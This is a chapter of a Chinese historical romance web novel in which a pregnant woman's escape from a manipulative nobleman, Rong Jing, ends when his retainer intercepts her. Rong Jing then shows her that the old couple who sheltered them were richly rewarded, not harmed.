山坳外的世界,正进行着惨烈的厮杀与背叛。而这里,炉火正暖,药香袅袅,有人给了她一碗热汤,一床棉被,几句不带功利关切的叮嘱。 风雪依旧肆虐,拍打着窗纸,呜咽作响。 这看似与世隔绝的山坳,终究不是世外桃源。 棋局远未结束。 她,和他,都还在局中。 113. 第 113 章 接下来的两日,姜于归越发沉默。 她依旧帮着陈婆婆做事,分拣草药,晾晒被褥,甚至尝试着按照陈婆婆的指点,熬煮一些简单的补汤。动作依旧利落,眼神却时常飘远,不知落在何处。 陈婆婆看在眼里,并不多言,只将煎好的安胎药按时递给她,偶尔在她怔忡时,轻轻拍拍她的手背。 这日午后,难得的有一缕惨白的日头穿透云层,照在湿漉漉的院子里,带来些许虚浮的暖意。 陈婆婆和周大爷都有事外出,姜于归则坐在院中一个小马扎上,面前摊着一块粗布,上面堆着需要挑拣的干菊花和枸杞。阳光落在她低垂的睫毛上,投下浅浅的阴影。 四周很静,只有远处山林隐约的鸟鸣,风吹过尚未发芽的枯枝发出的呜咽,以及她自己指尖翻动药材时细微的沙沙声。 她做得很专注,将混入的细小枝梗和品相不佳的枸杞逐一剔出,动作不疾不徐。 不知过了多久,颈后似乎拂过一丝极细微的,不同于自然风动的气流。 姜于归没太在意,只当是山风转了向。她微微动了动有些发僵的肩颈,继续手下的活计。 直到将最后一小撮品相完好的枸杞归拢到粗布一角,她才松了口气,轻轻揉了揉后腰,准备起身将分拣好的药材收进堂屋。 就在她转过身,视线无意中抬起的那一刹那,整个人如同被冰水从头浇下,瞬间冻僵在原地。 容璟就站在她身后,不到三步远的地方。 他不知道在那里站了多久,悄无声息,像个凭空出现的幽灵。 他依旧穿着那身深灰色的夹棉短褐,左臂吊着,右腿看似能着力,但站姿仍有些微的不自然。 最令人心悸的是他的脸,苍白,安静,那双没有焦距的眼睛,此刻正望着她方才坐着的方向,又或许,只是无意识地对着那片虚空。 他没有动,也没有出声。仿佛一尊没有生命的石像,只是恰好被摆放在了这里。 姜于归的心脏在停顿了一拍后,开始疯狂擂鼓,撞得耳膜嗡嗡作响。血液似乎在瞬间冲上头顶,又在下一刻冻结回流。她甚至能清晰地听到自己骤然变得粗重的呼吸声,在死寂的院子里显得格外刺耳。 他什么时候出来的?他在这里站了多久?他听到了什么?他为什么不出声? 无数疑问让她四肢僵硬,指尖冰凉。 也许是听到了她骤然变化的呼吸声,容璟的头几不可察地偏转了一个极小的角度,那双空洞的眼睛准确地对上了她所在的位置。 他的脸上浮现出一丝极淡的,混合着歉意与无措的神情,仿佛一个不小心打扰了他人的盲者。 “姜儿姑娘?” 姜于归猛地回过神,几乎是本能地,向后踉跄了半步,脚跟磕在身后的小马扎上,发出“哐当——”一声闷响。 他的声音响起,依旧是那种重伤初愈后的低哑,却温和得近乎小心翼翼:“是你吗?我是不是吓着你了?” 这声响似乎也惊醒了她,她强迫自己移开死死盯在他脸上的视线,低下头,看向自己因为用力而拽紧,骨节泛白的双手。 不能慌。不能露怯。他现在......看不见。 她在心里反复告诫自己,可胸腔里的心脏依旧跳得又快又乱。 容璟顿了顿,像是努力回忆着什么:“周大爷和陈大娘提过,家里有位姜姑娘,帮衬许多。那日......似是姜姑娘给我送过饭?” 他的语气平和,甚至带着一点属于伤患的,小心翼翼的感激,全然不见往日那种深不见底的压迫感。 可越是这样,姜于归心头那根弦绷得越紧。 她依旧沉默,目光紧紧锁在他的脸上,不放过任何一丝细微的表情变化。 那双眼睛,依旧空洞无神,长睫在苍白的皮肤上投下安静的阴影,没有半分伪装的痕迹。可不知为何,她就是觉得,那层平静的表象之下,有什么东西正在无声涌动。 见她不答,容璟也不追问,只是轻轻叹了口气,那叹息里带着一种无奈的落寞。 “看来......姜姑娘是不愿与我说话。” 他微微低下头,唇角扯出一个极淡的,近乎自嘲的弧度:“也是,我一个来历不明,又瞎又瘸的废人,平白在此叨扰,惹人厌烦也是常理。” 姜于归还是没有说话,容璟开口,说得平淡,甚至没有怨怼,可那字句,配上他此刻孤零零站在院中,茫然无措的模样,却无端透出一股萧索的凄凉。 姜于归的指尖,掐进了掌心。 容璟似乎并不期待她的回应,自顾自地又轻声说道:“周大爷心善,前日与我闲聊,说起姜姑娘......似乎有了身孕,独自一人,很是不易。” 他望向姜于归的方向,尽管视线没有焦点,神情却显得格外认真:“女子怀胎,最是辛苦,姜儿姑娘该多歇着,莫要太过劳累。” 这话说得恳切,全然是出于好意的关怀。可听在姜于归耳中,却像是一把冰冷的钥匙,猝不及防地捅开了她心底最隐秘,也最抗拒的角落。 她猛地抬起眼,看向他,眼中情绪剧烈翻涌。 容璟仿佛感知到了她情绪的变化,却误解了方向。他脸上那点歉然更深了些,忙道:“是我唐突了。姜姑娘莫怪,我并无他意,只是......” 他顿了顿,声音低了下去,带着一丝不易察觉的,仿佛源自遥远记忆的飘忽:“只是想起些旧事,心生感慨罢了。” 容璟微微侧过身,面向着那缕惨淡的阳光,语气平缓,像在讲述一个与自己无关的故事。 “我母亲......是个很美,也很骄傲的女人。可惜,她眼里从未有过我。” 姜于归浑身一僵。 “小时候,我总以为是自己不够好,不够聪明,不够讨人喜欢。我拼命读书,练字,学一切她能看得上的东西。可无论我做得再好,她看向我的眼神,永远是冷的,带着审视,还有......一丝不易察觉的厌烦。” 容璟的声音很轻,被风吹得有些破碎。 “后来我才知道,她不止讨厌我,她也讨厌我父亲,讨厌这段婚姻,讨厌这个束缚了她的牢笼。而我,不过是这牢笼最显眼的证明,是她完美人生里一道抹不去的瑕疵。” 他极轻地笑了一声,那笑声短促,没有温度。 “她养面首,纵情声色,将我丢给严厉的嬷嬷和更严厉的先生。我病了,她不会来看一眼,我取得成绩,她不会有一句夸奖。有时候我甚至觉得,对她而言,我活着,还不如她养的那只波斯猫来得重要。至少,那只猫还能在她寂寞时,蜷在她膝头,得她片刻温柔的抚摸。” 风穿过院子,卷起几片枯叶,打着旋儿。 容璟沉默了片刻,再开口时,声音里带上了一种近乎麻木的平静:“所以姜儿姑娘,你瞧,这世上的母亲,并非都爱自己的孩子。有时候,孩子对她们而言,是累赘,是耻辱,是恨不得从未存在过的错误。” 他缓缓转回视线,再次望向姜于归站立的方向,那双空洞的眼睛里,仿佛有什么极其幽暗的东西在深处一闪而过,快得让人抓不住。 他的语气,忽然变得极其认真,甚至带着一种近乎天真的困惑与关切。 “姜儿姑娘,你......会像她一样吗?” 这句话,像一颗投入深潭的石子,在姜于归心中激起滔天巨浪! 她猛地后退一步,背脊重重撞上土墙,震得檐角些许浮尘簌簌落下。 会像她一样吗? 像安宁郡主一样,冷漠,自私,视亲生骨肉为污点,为工具,为可以随意舍弃或利用的物件? 不!她怎么会像那个女人?! 可另一个冰冷的声音却在心底尖锐地反驳。那你现在在做什么?你得知怀孕的第一反应是什么? 是不!是抗拒!是想要用最危险的方式抹去这个生命!你甚至没有半分即将为人母的喜悦,只有恐惧,屈辱和深切的恨意! 而这恨意的源头,此刻正站在她面前,用最无辜,最脆弱的姿态,问她会不会成为一个冷血的母亲。 巨大的荒谬感和强烈的愤怒,如同冰火交织,瞬间席卷了姜于归的四肢百骸。 姜于归气得浑身发抖,却一个字也说不出来。 容璟仿佛被她剧烈的反应吓到了,脸上掠过一丝清晰的慌乱和歉意。 他下意识地向前伸出手,似乎是想要扶她,又像是想要道歉,可因为失明,动作显得笨拙而迟疑,手指在空中徒劳地抓握了一下,又颓然垂下。 “姜儿姑娘对不住,我不是那个意思。我只是......只是胡乱感慨,绝无冒犯之意。你与周大爷陈大娘皆是良善之人,定不会......定不会......” 他似乎不知该如何措辞,苍白的脸上浮起一层因急切而生的淡淡红晕,更显得脆弱而无害。 姜于归死死盯着他,盯着这张写满脆弱与歉意的脸,盯着那双依旧空洞茫然的,映不出她此刻滔天恨意的眼睛。 有那么一瞬间,她几乎要冲口而出,撕破他这完美的伪装,将最恶毒的诅咒和真相砸在他脸上。 可话到嘴边,却硬生生堵在了喉咙里。 不能说。 至少现在不能。 在这个与世隔绝的山坳,在周猎户和陈婆婆面前,在......这个看似毫无反抗之力的容璟面前。 她一旦撕破脸,后果是什么?容璟会如何反应?周家夫妇会面临什么?她腹中的孩子......又当如何? 千头万绪,利弊权衡,像冰冷的锁链,将她满腔的怒火与呐喊死死勒住,勒得她几乎窒息。 姜于归不在理会,猛地转过身,几乎是踉跄着,冲向自己的厢房,“砰——”地一声重重关上了门。 门板合拢的巨响,在寂静的院子里回荡。 容璟独自站在院中,面对着那扇紧闭的门,脸上的慌乱与歉意,如同阳光下的薄雪,迅速消融,褪去。 只剩下一片深不见底的平静。 他缓缓收回望向房门方向的视线,微微侧耳,听着门内传来压抑的,几乎听不见的急促呼吸声,以及......指甲深深掐入木头的细微摩擦声。 良久,他极轻地,几不可闻地,吁出一口气。 然后,他转过身,依旧用那种缓慢而试探的步伐,一步步挪回了西头的小医馆。 门在他身后轻轻掩上,隔绝了院子里最后一点天光,也隔绝了所有未曾宣之于口的暗涌与算计。 容璟靠坐在床沿,面朝窗户的方向,尽管眼前依旧是一片永恒的黑暗,唇角却缓缓勾起一抹冰冷而深邃的,属于猎手的弧度。 棋局之上,落子无悔。 风依旧吹着,带着山野特有的清冽与寒意。 院子里的泥泞地上,只留下几行略显凌乱,深浅不一的脚印,很快又被风吹起的尘土,一点点覆盖,抹平。 仿佛刚才那场短暂而激烈的交锋,从未发生。 姜于归背靠着冰冷粗糙的土墙,屋内没有点灯,昏暗的光线从糊窗的厚纸缝隙里渗进来,在地面投下几道惨淡的灰白。 她听着自己的心跳,从最初的狂乱如擂,渐渐平息成一种沉重而麻木的钝响。 容璟的话,像淬了毒的针,一根根钉进她心里最不愿触碰的角落。 会像她一样吗? 那个冰冷美艳,视亲子如无物的安宁郡主。 不。 姜于归猛地闭上眼,指尖死死抵住掌心。 她或许曾经抗拒这个孩子,厌恶它到来的时机与方式,甚至动过最决绝的念头,但那是因为恨,因为屈辱,因为对自身命运失控的恐惧。 与安宁郡主那种骨子里透出的,对生命本身的漠然与利用,截然不同。 可这分辨,在此刻显得如此苍白无力。在容璟那看似脆弱困惑的质问下,她的所有抗拒,似乎都蒙上了一层与安宁郡主相似的,冷酷的阴影。 荒谬。 极致的荒谬感让她几乎想笑,喉间却只涌上一股铁锈般的苦涩。 不能再待下去了。 这个念头,在混乱的思绪中,如同破开水面的礁石,陡然清晰。 容琅已伏法,柳姨娘自尽,荣国公受罚,盛京那场因容璟遇刺掀起的风暴,看似有了一个各方都能接受的结局。 最大的威胁暂时解除,至少短期内,不会有人再大张旗鼓地追杀容璟,自然也不会牵连到收留他的周家夫妇。 至于容璟本人......他眼睛看不见,重伤未愈,即便察觉她离开,短时间内也无能为力。 现在,就是最好的时机。 在他还不知道姜儿就是姜于归之前,在他那双看似空洞的眼睛,或许早已看穿一切之前。 必须走。 姜于归深吸一口气,再缓缓吐出,强迫自己冷静下来。 她走到炕边,掀开褥子,从底下摸出那个小小的,一直随身藏着的蓝布包袱。 里面是她当初从城南庄子带出来的所有东西,几件换洗衣物,一小包碎银子。 银子不多,但足够她支撑一段时日,找到下一个落脚点。 她将包袱重新系好,塞进怀里,又走到门边,侧耳倾听。 院子里很安静。风声,远处隐约的鸡鸣狗吠,还有西头小医馆方向,断断续续传来的,压抑的咳嗽声。 这日,陈婆婆和周猎户一早便结伴去了更远的集上,说要换些春耕的种子和盐铁,傍晚才能回来。 天赐良机。 姜于归轻轻拉开门闩,动作极缓地推开一道缝隙,向外望去。 院中无人。只有晾晒的草药在微风中轻轻摇晃,地上她与容璟方才留下的凌乱脚印,已被风吹得模糊。 她闪身出门,反手将门轻轻掩上,没有发出半点声响。 目光快速扫过西头,小医馆的门窗依旧紧闭,寂静无声。 不再犹豫。 她压低身形,借着院中柴垛和晾晒架的阴影掩护,快步走到院门边,拉开那扇吱呀作响的破旧木门,侧身挤了出去,又轻轻合拢。 山坳里的小径泥泞未干,踩上去有些湿滑。姜于归拉紧了头上包裹的旧头巾,辨明方向,朝着与官道大致平行,但更隐蔽难行的一条山林小路走去。 她不敢走得太快,腹中那团日益清晰的存在感,让她每一步都带着小心翼翼的谨慎。 但脚步却异常坚定,一步,一步,踏碎枯枝,碾过落叶,将那座给了她短暂温暖与庇护,也带给她无尽惊悸与挣扎的小院,远远抛在身后。 山林寂静,只有她自己的呼吸声和脚步声,在空旷的雪后山谷里回荡。偶尔有受惊的鸟雀扑棱棱飞起,带落枝头残存的雪沫,凉冰冰地落在她的脖颈。 她走了约莫大半日,腹中传来隐隐的饥饿感,腿脚也开始酸软。 她寻了处背风的山石,坐下稍作歇息,从包袱里摸出半块硬邦邦的杂面馍馍,小口小口地啃着。冰冷的馍馍渣滓划过喉咙,带来粗粝的摩擦感,她却浑不在意,只就着皮囊里所剩无几的冷水咽下。 必须在天黑前,找到下一个可以借宿的村落,或者至少是能避风的山洞。 休息片刻,她重新起身,拍了拍身上的尘土和草屑,继续向前。 然而,就在她绕过一片密集的枯木林,眼前豁然开朗,出现一条被车轮碾出深深辙印的土路时,整个人如同被瞬间冻结,僵在了原地。 土路中央,一个人静静地站在那里。 一身毫不起眼的深灰色劲装,身形挺拔如松,面容普通得扔进人堆里便再难认出,唯有那双眼睛,沉静,锐利,此刻正毫无波澜地看着她,仿佛早已在此等候多时。 长青。 姜于归的心脏,在这一刻,彻底沉入了无底冰窟。 四肢百骸的血液仿佛瞬间逆流,又在下一秒冻结。寒意从脊椎最深处炸开,迅速蔓延至全身,连指尖都变得冰冷麻木。 长青在这里......那就意味着,容璟早就找到了这里。 不,或许从一开始,他就没有真正失联。那些看似偶然的救助,看似平静的养伤,或许......从来都在他的掌控之中。 而她自以为隐秘的逃离,自以为高明的伪装,在这些人眼里,恐怕从头到尾,都是一场早已被看穿的笑话。 巨大的无力感和被彻底愚弄的愤怒,如同潮水般淹没了她。她甚至没有试图转身逃跑,在长青面前,在容璟布下的天罗地网面前,逃跑只是徒劳,只会让她显得更加可笑。 她只是站在原地,脸色苍白如纸,嘴唇紧紧抿着,唯有那双眼睛,死死盯着长青,里面翻涌着绝望,愤怒,以及一丝连她自己都未察觉的,深切的悲哀。 长青并没有立刻上前。他看着她眼中剧烈变幻的情绪,脸上依旧没有什么表情,只是微微躬身,行了一个无可挑剔的礼,声音平稳得没有一丝波澜。 “夫人。” 这两个字,如同最后的审判,彻底击碎了她心底最后一点侥幸。 姜于归猛地闭上眼,身体几不可察地晃了一下。再睁开时,眼中只剩下一片荒芜的死寂。 果然......他早就知道了。 她就是那个自以为看透一切,实则每一步都踏在他预设路径上的,最愚蠢的观众兼演员。 就在这时,土路尽头,传来车轮辘辘碾过碎石的声响。 一辆外表朴素,但车厢宽大结实的青篷马车,在数名同样穿着寻常布衣,却眼神精悍,气息沉凝的护卫簇拥下,缓缓驶近,停在了长青身后不远处。 车帘低垂,纹丝不动。 但姜于归知道,他就在里面。 那个她穷尽力气逃离,却终究还是被命运,或者说,被他那双无形的手,再次拖回原点的男人。 长青侧身让开道路,再次躬身:“夫人,请上车。世子......已在等候。” 他的语气恭敬,却带着不容置疑的意味。 姜于归站在原地,没有动。 寒风卷起她单薄的衣角,猎猎作响。 她望着那辆沉默的马车,仿佛能透过厚重的车帘,看到里面那双深不见底,此刻或许正微微弯起,带着满意与嘲弄弧度的眼睛。 良久,她极轻地,几不可闻地嗤笑了一声。 那笑声短促,干涩,充满了自嘲与认命的苍凉。 然后,她迈开脚步,一步一步,朝着马车走去。脚步有些虚浮,背脊却挺得笔直,像一株被风雪摧折却不肯彻底倒下的芦苇。 车帘被一只修长苍白的手从里面挑起。 容璟已经换下之前的粗布麻衣,此刻靠坐在车厢内铺着厚厚毛毯的软垫上,身上裹着一件墨色的鹤氅,脸色依旧带着重伤未愈的苍白,眼下有淡淡的青影。 但那双眼睛...... 姜于归的脚步在车门前顿住。 那双眼睛,此刻正静静地望着她。瞳孔依旧是涣散的,没有焦距,空茫地对着她的方向,映不出她此刻任何表情。 可不知为何,姜于归就是觉得,他能看见。看见她的狼狈,她的绝望,她所有的挣扎与不甘。 容璟甚至还微微偏了下头,仿佛在仔细端详她,唇角缓缓勾起一个极淡的,近乎温和的弧度。 “回来了?” 他的声音不高,带着重伤后的沙哑,却平稳得仿佛她只是出门散了趟步,而非一场精心策划的逃离。 姜于归没有应声,只是死死地盯着他,盯着那双空洞的眼睛,试图从中找出一丝伪装的破绽。 容璟似乎并不在意她的沉默,他朝她伸出手,掌心向上,手指修长,骨节分明,在车厢内昏暗的光线下,显得有些苍白脆弱。 “山里风大,你身子重,别站着,进来。” 容璟的语气是自然的关切,甚至带着一丝不容拒绝的轻柔。 姜于归依旧没动,指甲深深掐进掌心,疼痛让她保持着一丝清醒的尖锐。 她开口,声音因长时间的跋涉和紧绷而干涩沙哑,却字字清晰,带着冰冷的讽刺。 “世子好算计。连我今日会走,走哪条路,都算得一清二楚。” 容璟伸出的手几不可察地顿了一下,随即缓缓收回,搭在自己盖着薄毯的膝上。 他脸上那点温和的笑意未减,反而加深了些,只是那笑意并未抵达眼底深处那片幽暗。 “算计?” 他轻轻重复这个词,语气里带上了一点恰到好处的无奈与......包容? “姜儿,我只是担心你。” 他微微蹙起眉,那神情竟显得有几分真切的无辜与后怕:“这荒山野岭,你一个怀着身孕的女子独自上路,万一遇上野兽,或是心怀不轨之人,该如何是好?幸好周叔陈婶心善,收留了你我,也幸好......长青他们找来的还算及时。” 他将她的逃离,轻描淡写地归结为独自上路,将长青的拦截,美化为及时寻找保护。 姜于归气得浑身发抖,几乎要控制不住胸腔里翻腾的怒火。她猛地向前一步,声音因激动而微微拔高,带着尖锐的颤音。 “担心我?容璟,你除了会用这些冠冕堂皇的话来要挟,来控制,你还会什么?!从前是禾苗,是秋实素馨,后来是归月楼那帮无辜之人,现在又是周大爷和陈婆婆!你是不是觉得,只要捏住与我想干的无辜之人,我就永远逃不出你的手心?你还有没有半点人性?他们也救了你!你就这样报答?!” 这些话憋在姜于归心里太久,如同困兽的嘶吼,带着血淋淋的痛楚与绝望,冲口而出。 车厢内外,一片死寂。连护卫们都下意识地垂下了眼,屏住了呼吸。 容璟脸上的笑意,终于慢慢淡了下去。 他没有立刻反驳,也没有动怒。只是静静地望着她,那双空洞的眼睛里,仿佛有什么极其复杂幽暗的东西在缓缓流淌。 良久,他才极轻地叹了口气,那叹息声轻得像一片羽毛,却重重地砸在凝滞的空气里。 “姜于归。” 他在她面前,清晰地叫出了她的全名。声音依旧平稳,却褪去了方才那层刻意的温和,露出底下冰冷而坚硬的本质。 “你说我冷血,说我忘恩负义,用你在意的人要挟你......” 他顿了顿,忽然极低地笑了一声,那笑声里没有温度,只有一种近乎残忍的冷静。 “那我问你,禾苗一家,如今何在?” 姜于归猛地一怔。 容璟不给她思考的时间,继续道,语速平缓,却字字清晰,如同冰冷的凿子,敲开她愤怒之下不愿深想的角落。 “秋实,素馨,她们是因看护不力受罚,可我后来,是不是将她们调离了你身边,给了新的差事,并未伤她们性命?你假死之事,帮你制造身份文书的书吏,替你撑船的渔夫,他们如今,是死了,还是依旧好好地活着?” 每一个问题,都像一记重锤,砸在姜于归心上。她张了张嘴,却发现,自己竟然无法反驳。 是,禾苗一家,她后来隐约听说被安置去了南边,生活无虞。 秋实素馨虽然没在出现,但也确实没听说死了。 归月楼那些和她有交集的人......似乎,真的都安然无恙。 可是......可是那又怎样呢?这一切都只是她听说,那些人是不是真的没事,她又没有亲眼看到。 容璟仿佛能看到她脸上的动摇与茫然,他微微倾身,朝着她的方向,声音压低了些,带着一种近乎诱哄的,冰冷的坦诚。 “是,我威胁过你。用他们的安危,让你害怕,让你妥协,让你不敢再逃。因为我需要你留下,需要你......在我身边。” 容璟承认得如此干脆,反而让姜于归愣住了。 “可威胁,从不是我的目的。” 容璟的声音里,罕见地染上了一丝极淡的,近乎自嘲的疲惫:“我的目的,从来只是你。至于他们......若真要动手,何必等到你一次次逃离之后?又何必,留给你任何察觉或追查的可能?” 姜于归的呼吸变得急促起来,脑子里一片混乱。 她本能地想反驳,想说他这是狡辩,是事后粉饰,可那些人的安然无恙,又像一根根尖刺,扎在她愤怒的壁垒上。 “还有慕容林晏。” 容璟忽然提起这个名字,让姜于归浑身一僵。 “我答应过你,救他。我做到了。” 容璟的语气变得异常平静,甚至带着一种陈述事实的漠然。 “是,我骗了你,告诉你他死了。可你有没有想过,若你得知他没死,在盛京,在永嘉公主,在无数双眼睛盯着你我的时候,你能否完美地演出得知林晏死讯该有的悲恸与绝望?哪怕露出一丝破绽,那些人会如何?陛下......又会如何?” 他抬起手,用指尖轻轻揉了揉眉心,那里因重伤和疲惫而带着一道浅浅的褶痕。 “假死之计,是我献计,但最终是陛下的旨意,也是唯一的生路。这个秘密,多一个人知道,就多一分风险。告诉你,是情分,不告诉你,是本分。更何况......” 他放下手,重新望向她,那双空洞的眼睛里,似乎闪过一丝极其幽暗难辨的情绪。 “我早就对你说过,我有很多秘密。你若想知道,都可以问我。是你......从来不肯信我,也从未真正问过。” 最后这句话,他说得很轻,却像一把最锋利的软刀,猝不及防地刺入了姜于归心底最柔软,也最不愿面对的地方。 是了......在那些虚假的温情时日里,在她扮演依赖与仰慕的时候,他确实曾几次,用那种看似随意的口吻提起过。 可她当时满心戒备与算计,只当作是他新一轮的试探与掌控,从未真的去探究,去相信。 信任......在他们之间,从来就是最奢侈,也最可笑的东西。 姜于归踉跄着后退了半步,背脊撞上冰冷的车辕,才勉强站稳。 她看着他,看着这个将她人生搅得天翻地覆的男人,此刻用最平静的语气,说着最残酷也最......无法辩驳的事实。 她恨他,恨他的算计,恨他的掠夺,恨他将她拖入这无尽的漩涡。 可她无法否认,在那些冰冷的算计之下,他确实......兑现了某些承诺。 用一种扭曲的,她无法接受的方式,护住了她在意的一些人,也......留下了林晏的命。 这种认知,比单纯的恨,更让她感到混乱和无力。 容璟似乎感知到了她情绪的剧烈波动,他没有再逼迫,只是静静地等待着,像最有耐心的猎手,等待着猎物自己走入陷阱。 许久,姜于归才哑声开口,声音疲惫得仿佛用尽了所有力气:“那周大爷和陈婆婆呢?你打算如何报答他们的救命之恩?” 容璟的脸上,重新浮起那层温和的,近乎无害的浅笑。 他语气诚挚:“他们自然是我的恩人,我已命人备下厚礼,金银田产,足够他们晚年富足无忧。也会派人暗中看顾,确保他们在此地,无人敢欺。救命之恩,容璟铭记在心,定不会让他们因我之故,受半分牵连或苦楚。” 他说得周全妥帖,无可挑剔。 然后,他再次朝她伸出手,这次,他的声音里多了一丝不容错辨的,温柔的坚持。 “现在,可以跟我走了吗?姜儿......不,于归。” 姜于归没有看他,声音干涩,却带着一种执拗的,近乎自毁的清晰。 “你说禾苗一家安好,秋实素馨只是调职,那些帮过我的人都活着......可我都没看见。” 她顿了顿,每个字都像是从冰碴里挤出来的。 “我怎么知道,你说的安好,是不是另一种囚禁?甚至死亡?调职,是不是发配苦役?未受牵连,是不是被拿捏住了更大的把柄?还有陈婆婆和周大叔......” 她终于转过头,看向容璟。他脸上没什么表情,只是那双空洞的眼睛,仿佛更幽深了些,映不出她眼底激烈的挣扎与尖锐的怀疑。 “你现在说会重谢他们,会保他们平安。可马车这一走,山高皇帝远,他们只是两个无依无靠的山野老人。是真的有谢礼?还是不久之后突发意外得了急病,或者干脆匪患遭了难......从此灭口,谁知道?” 最后三个字,她说得很轻,却像淬了毒的针,狠狠刺破了这平静假象。 容璟搭在膝上的手,几不可察地收紧了。指节微微泛白,手背上淡青的血管隐现。 他脸上的平静,如同水面的薄冰,出现了一丝细微的裂痕。唇角那点惯常的,温和或讥诮的弧度彻底消失,下颌线绷得有些紧。 一股无声的,冰冷的怒意,如同实质的寒气,从他身上弥散开来。 他算计,掌控,甚至用些不光彩的手段,但他自认在兑现承诺和处理手尾上,从未食言,也从未滥杀无辜到那般地步。 可她竟然如此想他?认为他会对救命恩人灭口? 这种被全然否定,被钉在毫无底线恶徒位置上的认知,像一根带着倒刺的钩子,猝不及防地勾起了他心底最深处某种晦暗的暴戾,与一丝连他自己都未曾察觉的,被误解的刺痛。 空气仿佛凝固了,压得人喘不过气。 周围的护卫气息似乎也凝滞了一瞬。 然而,这怒意来得汹涌,去得也极快。 容璟闭了闭眼,再睁开时,眼底那片翻涌的暗色已如潮水般退去,只剩下更深,更沉的平静,以及一种近乎冷酷的决断。 跟她解释?剖白?发誓? 无用。 姜于归不信言语,只信眼见为实。 也好。 既然她要看,那便让她看个清楚。 也让她看清楚,她这满怀恶意的揣测,是如何冤枉了他。 这份冤枉带来的愧疚,或许比任何温柔承诺,都更能在她心里刻下痕迹。 他忽然极轻地笑了一声,那笑声短促,没有任何温度。 容璟看向姜于归的方向,尽管看不见,却精准地捕捉着她的位置,语气平淡得令人心头发寒。 “你说得对。空口无凭。那便跟我去看看,我究竟是将他们灭口,还是留下谢礼。” 声音不高,却清晰可闻,容璟伸手,示意姜于归坐进马车,而姜于归却迟迟没动。 容璟也不急,反问道:“怎么?怕去了之后,见到的景象让你明白,是冤枉了我么?” 姜于归闻言咬牙,冷笑一声,没有回应,也没有伸手去牵容璟,自己抬步坐进了马车。 容璟顿了顿,扬声道:“长青,调头,回李家坳。” 说完容璟不再多言,只是重新靠回软垫,面容隐在车厢角落的阴影里,看不清具体神情,只有侧脸线条在昏暗光线下显得格外冷硬。 马车在原地笨拙地调转了方向,车轮再次碾过熟悉的土路,朝着来时的山坳疾驰而去。这次速度明显快了许多,颠簸得也更加厉害。 姜于归紧紧抓住车壁上的扶手,脸色苍白。 不过半个多时辰,暮色四合之际,马车再次停在了李家坳外那条熟悉的小径入口。为免惊扰,容璟命马车停在树林阴影处。 他转向姜于归,声音低沉:“你不是想知道吗?自己去看。” 姜于归手指冰凉,迟疑了一瞬,最终还是推开车门,下了马车。山风凛冽,吹得她一个激灵。 容璟没有跟下来,只是静静坐在车内,面朝着她离去的方向。 姜于归沿着小径,快步走向那座熟悉的院落。 越是靠近,心跳得越快。她怕看到不愿看到的景象,怕自己的怀疑一语成谶,更怕......那会将她推向更深的绝望与仇恨。 然而,当她悄悄潜近,借着尚未完全暗透的天光和院内新点的油灯光晕,透过篱笆缝隙朝里望去时,整个人愣在了原地。 院子里并非她想象中可能出现的凄清或混乱。 相反,院子中央堆着好些崭新的物件,几匹颜色鲜亮的棉布,一袋袋鼓囊囊的米面,甚至还有两口沉甸甸的,油光锃亮的铁锅...... 周猎户正乐呵呵地和一个穿着体面,管事模样的人说着话,不时指着那些东西,脸上是掩不住的,朴实的惊喜与感激。 陈婆婆站在堂屋门口,手里捧着一个打开的红木匣子,里面似乎是些银锭和首饰,在灯光下闪着温润的光。 她脸上没有恐惧,只有些许无措和满满的感慨,正对那管事连连摆手,又指了指西头小医馆的方向,似乎在推辞。 那管事态度恭敬,执意将东西放下,又说了些什么,然后躬身行礼,带着两个小厮转身离开了院子,径直出村去了,并未多做停留。 周猎户送走人,回身看着满院的东西,搓着手,对陈婆婆叹道:“老婆子,这容公子......可真是厚道人啊!救了人,还送这么重的礼!这下好了,开春的种子,今年的嚼用都不愁了!还说以后有事,可以去平江县衙寻他......” 陈婆婆小心地合上匣子,抱在怀里,望着西头早已空无一人的小医馆,眼圈微红,低声道:“是好人......姜儿那孩子,跟着他,应当......也不会受苦吧。” 他们的对话顺着风,隐约飘入姜于归耳中。 没有胁迫,没有恐惧,只有受宠若惊的感激,和真诚的祝福。 她站在那里,冰冷的夜风吹透了她的衣衫,却吹不散心口那股骤然涌上的,滚烫的涩意。 他真的......没有伤害他们。不仅没有,还给予了远超寻常的厚报。 她那些关于灭口,意外的尖锐揣测,此刻像最响亮的耳光,狠狠扇在她自己脸上,火辣辣的疼,混合着深切的难堪和内疚,如同藤蔓般缠绕上来,勒得她几乎窒息。 她几乎要站不住,背靠着冰凉的树干,缓缓滑坐下去,将脸埋进掌心。 姜于归蜷缩在角落里,望着窗外浓稠的夜色,心绪如同乱麻。 愤怒与恨意仍在,却被方才亲眼所见的场景撕开了一道口子,灌满了冰冷的内疚与茫然。 她自以为站在道德高地的指控,原来只是毫无根据的恶意揣度。 这种认知,让她在容璟面前,连最后一点理直气壮的恨意,都显得底气不足。 容璟的证明目的达到了。 他要的就是这份内疚。 这份内疚会像最柔韧的丝线,缠绕住她试图远离的心,让她在面对他时,再也无法纯粹地恨,总会想起今晚的冤枉与他的守信。 不知过了多久,一件带着体温的鹤氅轻轻披在了她颤抖的肩头。 容璟不知何时下了马车,摸索着走到她身边。他没有扶她,只是静静站着,面向着院内温暖的灯火和那对淳朴的老夫妻。 他的声音在夜风里显得格外平静,甚至带着一丝难以言喻的疲惫。 “看清楚了?” 姜于归没有抬头,肩膀抖动得更厉害。 容璟极轻地叹了口气,语气是前所未有的郑重与清晰:“跟我去平江。以我容璟妻子的身份。那里或许清苦,或许偏远,但至少......安全。我会护着你,护着我们的孩子。过去种种,你若恨,便恨着。但往后......” 他的声音低了下去,带着一种近乎誓言般的低沉与认真。 “往后,我不会再让你因我之故,担惊受怕,流离失所。这是承诺。” 承诺。 又是承诺。 姜于归看着他伸出的手,看着他那张苍白却写满笃定的脸,看着那双依旧空洞,却仿佛盛满了她看不懂的复杂情绪的眼睛。 她知道,这或许又是一个精心编织的谎言,一个更华丽的囚笼的入口。 她也知道,自己此刻别无选择。 长青和护卫就在身后,马车就在眼前,腹中的孩子日渐沉重,山野寒风刺骨,前路茫茫。 更重要的是,他那番半真半假的辩白,像藤蔓一样缠绕住了她挣扎的意志。 她恨,却找不到彻底决裂的着力点,她想逃,却发现每一次逃离,似乎都将他那些未曾真正伤害的证明,衬托得更加清晰。 这种无力感,几乎要将她淹没。 容璟顿了顿,不再多言,只道:“风大,回去吧。” 他伸出手,这次,姜于归没有拒绝。 她极其缓慢地,极其僵硬地,抬起了自己的手,放在了那只苍白微凉,却稳稳等待的掌心。 